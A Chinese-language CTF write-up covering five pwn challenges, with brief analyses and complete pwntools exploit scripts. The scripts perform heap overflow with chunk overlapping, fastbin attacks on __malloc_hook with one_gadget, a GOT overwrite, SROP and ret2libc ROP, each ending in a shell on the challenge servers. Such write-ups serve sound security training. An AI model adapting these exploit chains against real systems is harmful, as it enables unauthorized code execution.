76 0ctf_2017_babyheap
保护
菜单堆。
allocate
堆的结构很明显了。要注意的是flag是四个字节。
fill
又是输入大小可以随便写。
又可以溢出。
free
free的还是很干净的。
dump
平平无奇输出函数。
那么我们首先要考虑泄露libc的地址。泄露地址的方法只能去考虑unsorted bin,因为有溢出,可以完全仿照off by one,来制造overlapping,然后泄露地址啊,攻击malloc_hook,就下来了。
先来申请四个chunk。然后通过栈溢出改变chunk1的大小,然后释放掉,知道overlapping,再申请回来,manera地址就去了chunk2,并且此时chunk2被overlapping,没有释放,可以控制,而且在bins里面,调整他,让它进入fastbin,然后控制fd,攻击malloc_hook,从而get shell。
exp
# -*- coding: utf-8 -*-
from pwn import *
#r = remote('node3.buuoj.cn',29443)
r = process('./76')
context.log_level = "debug"
elf = ELF('./76')
libc = ELF('./64/libc-2.23.so')
#libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
one_gadget = 0x4526a
def allocate(size):
r.sendlineafter("Command: ", "1")
r.sendlineafter("Size: ", str(size))
def fill(index, size, content):
r.sendlineafter("Command: ", "2")
r.sendlineafter("Index: ", str(index))
r.sendlineafter("Size: ", str(size))
r.sendafter("Content: ", content)
#这里的输入用的是read,防止'\n'对程序的影响,这里就直接send
def free(index):
r.sendlineafter("Command: ", "3")
r.sendlineafter("Index: ", str(index))
def dump(index):
r.sendlineafter("Command: ", "4")
r.sendlineafter("Index: ", str(index))
one_gadget = 0x4526a
allocate(0x60) #0
allocate(0x60) #1
allocate(0x60) #2
allocate(0x60) #3
payload = 'a' * 0x60 + p64(0) + '\xe1'
fill(0, 0x69, payload)
free(1)
allocate(0x60) #1
dump(2)
r.recvuntil("Content: \n")
malloc_hook = (u64(r.recv(6).ljust(8, '\x00')) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + one_gadget
print hex(malloc_hook)
print hex(libc_base)
allocate(0x60) #4
free(4)
payload = p64(malloc_hook - 0x23)
fill(2, 8, payload)
allocate(0x60) #4
allocate(0x60) #5
payload = 'a' * 0x13 + p64(one_gadget)
fill(5, len(payload), payload)
gdb.attach(r)
r.sendlineafter("Command: ", "1")
r.sendlineafter("Size: ", "32")
r.interactive()
77 [BJDCTF 2nd]secret
保护
这里有个判断,会退出程序。
但是判断条件是什么反编译不出来,因为太长了。这也是第一次见。
那就得看汇编。
会发现这里面的东西,都是一个逻辑。
他会做比较,把40d68c地方的东西拿出来跟它那些数字做比较,比较成功,会进入下一个比较,不然就直接返回-1,然后执行退出的程序。都比较过了之后,就返回0,然后执行cat flag。但是你会发现,它有10000个数字,那显然这正路就没了。
那么我们发现这里有个溢出,通过这个溢出我们能控制些什么呢?
46d090,这里放着的是你还需要猜的次数。
然后发现,printf的got表跟system的离得很近……
这说实话我也是参考别人的wp,这他是咋发现的……
那我们就通过溢出,把那个地方的值改成printf的got表地址,然后开始答题,答对就减1,然后减减减,减去16之后,也就是答对15,答错1,然后就把printf的got改成了system的plt。
我直呼好家伙。
#coding:utf8
from pwn import *
r = remote('node3.buuoj.cn',25929)
elf = ELF('./77')
printf_got = elf.got['printf']
answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
r.sendafter("What's your name?",payload)
for x in answer:
r.sendlineafter('Secret:',str(x))
r.sendlineafter('Secret:','1')
r.interactive()
78 ciscn_2019_es_7
保护
平平无奇栈溢出。
还给了gadgets
这0f系统调用的话是sigreturn,那么这道题很明显了,就是SROP。
因为通过SROP我们可以调用系统调用,execve,但是我们需要参数‘/bin/sh’,我们可以往栈里面输入这个字符串,但是我们需要泄露栈的地址,也就是泄露’/bin/sh’的地址。
我们发现下面有个write函数,那么思路就很明确了,先通过write,输出栈上的一些数据,从而获得栈的地址,然后通过SROP,来get shell。
因为rsp那里我们要填返回地址进去,所以我们就泄露rsp+0x10的数据,泄露出来之后减去他们的之间的差值,就可以直接得到’/bin/sh’的地址。
from pwn import *
from LibcSearcher import *
r = remote('node3.buuoj.cn', 29487)
elf = ELF('./3')
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims, drop=True :r.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
sigreturn = 0x4004DA # mov eax 0fh
system_call = 0x0400517
read_write = 0x4004F1
main_addr = elf.sym['main']
p1 = flat(['/bin/sh\x00', 'b'*8, read_write]) #good!
#你会发现这里为什么read的地址跟平常我们写的在ebp之后不一样。
#这是因为这个函数调用规则不是我们平常的_cedel,这个函数最后一句直接就是retn,而我们平常见到的是level | ret
sl(p1)
rc(32)
binsh_addr = u64(rc(8)) - 0x118
rc(8)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call
#pwntools功能就是强大
p2 = flat(['a'*0x10, sigreturn, system_call, frame])
sl(p2)
r.interactive()
79 jarvisoj_level5
保护
平平无奇栈溢出。
from pwn import*
r=remote('node3.buuoj.cn',26822)
elf=ELF('./79')
libc = ELF('./64/libc-2.23.so')
main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1
write_got=elf.got['write']
write_plt=elf.plt['write']
payload='a'*(0x80+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
r.recvuntil('\n')
r.sendline(payload)
write_addr=u64(r.recv(8))
print hex(write_addr)
libc_base = write_addr-libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
payload='a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
r.sendline(payload)
r.interactive()
问为什么那个地方r15传参也可以,那是因为调用write函数的时候rdx参数是0x200。
80 hitcontraining_bamboobox
保护
后门有了。
菜单堆
增删改查,题应该不难。
在程序开始之前有一段初始化。
v4存着个地址,0x10的数组,然后里面两个函数地址,一个输出开始信息,输出结束信息。
show
平平无奇输出函数。
add
chunk的地址,跟大小都在bss段,划线处是一个明显的off by null。
change
大小随便输入,就可以造成溢出。
remove
平平无奇free函数,清理的也很到位。
那么经过我们分析,有两个漏洞点,一个off by one,一个溢出,但是我们其实仅仅利用那个溢出就好了。
利用溢出还是制造overlapping,然后泄露地址,然后直接攻击malloc_hook,把后门地址写上,还省得用realloc去抬栈。
但是失败了……gdb调试打不开那个文件,可能服务器没有吧,那就还是规规矩矩one_gadget吧。
rsp上方有个0,那么我们就通过realloc把栈抬起来。
假如我们现在要是去执行realloc+12的地方,那么最后执行完rsp + 30的地方就会是0,然后就好了。
exp
from pwn import*
r=remote('node3.buuoj.cn',25879)
#r = process('./80')
elf=ELF('./80')
libc = ELF('./64/libc-2.23.so')
#libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
context.log_level = "debug"
def show():
r.sendlineafter("Your choice:", "1")
def add(size, name):
r.sendlineafter("Your choice:", "2")
r.sendlineafter("Please enter the length of item name:", str(size))
r.sendlineafter("Please enter the name of item:", name)
def change(index, size, name):
r.sendlineafter("Your choice:", "3")
r.sendlineafter("Please enter the index of item:", str(index))
r.sendlineafter("Please enter the length of item name:", str(size))
r.sendlineafter("Please enter the new name of the item:", name)
def remove(index):
r.sendlineafter("Your choice:", "4")
r.sendlineafter("Please enter the index of item:", str(index))
system_addr = 0x400d49
one_gadget = 0x4526a
add(0x60, 'aaaa') #0
add(0x60, 'bbbb') #1
add(0x60, 'cccc') #2
add(0x60, 'dddd') #3
payload = 'b' * 0x68 + '\xe1'
change(0, 0x69, payload)
remove(1)
add(0x60, 'bbbb') #1
show()
r.recvuntil("2 : ")
malloc_hook = (u64(r.recv(6).ljust(8, '\x00')) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + one_gadget
#gdb.attach(r)
print hex(malloc_hook)
print hex(libc_base)
add(0x60, 'eeee') #4
remove(4)
payload = p64(malloc_hook - 0x23)
change(2, 8, payload)
add(0x60, 'eeee') #4
payload = 'e' * 0xb + p64(one_gadget) + p64(realloc + 12)
add(0x60, payload) #5
#gdb.attach(r)
r.sendlineafter("Your choice:", "2")
r.sendlineafter("Please enter the length of item name:", '60')
r.interactive()
当然这道题也有很多解,比如因为它没有开PIE,所以我们可以直接知道ptr,也就是指针存储的位置,可以伪造chunk,然后用堆溢出来制造unlink,控制bss,从而劫持got表。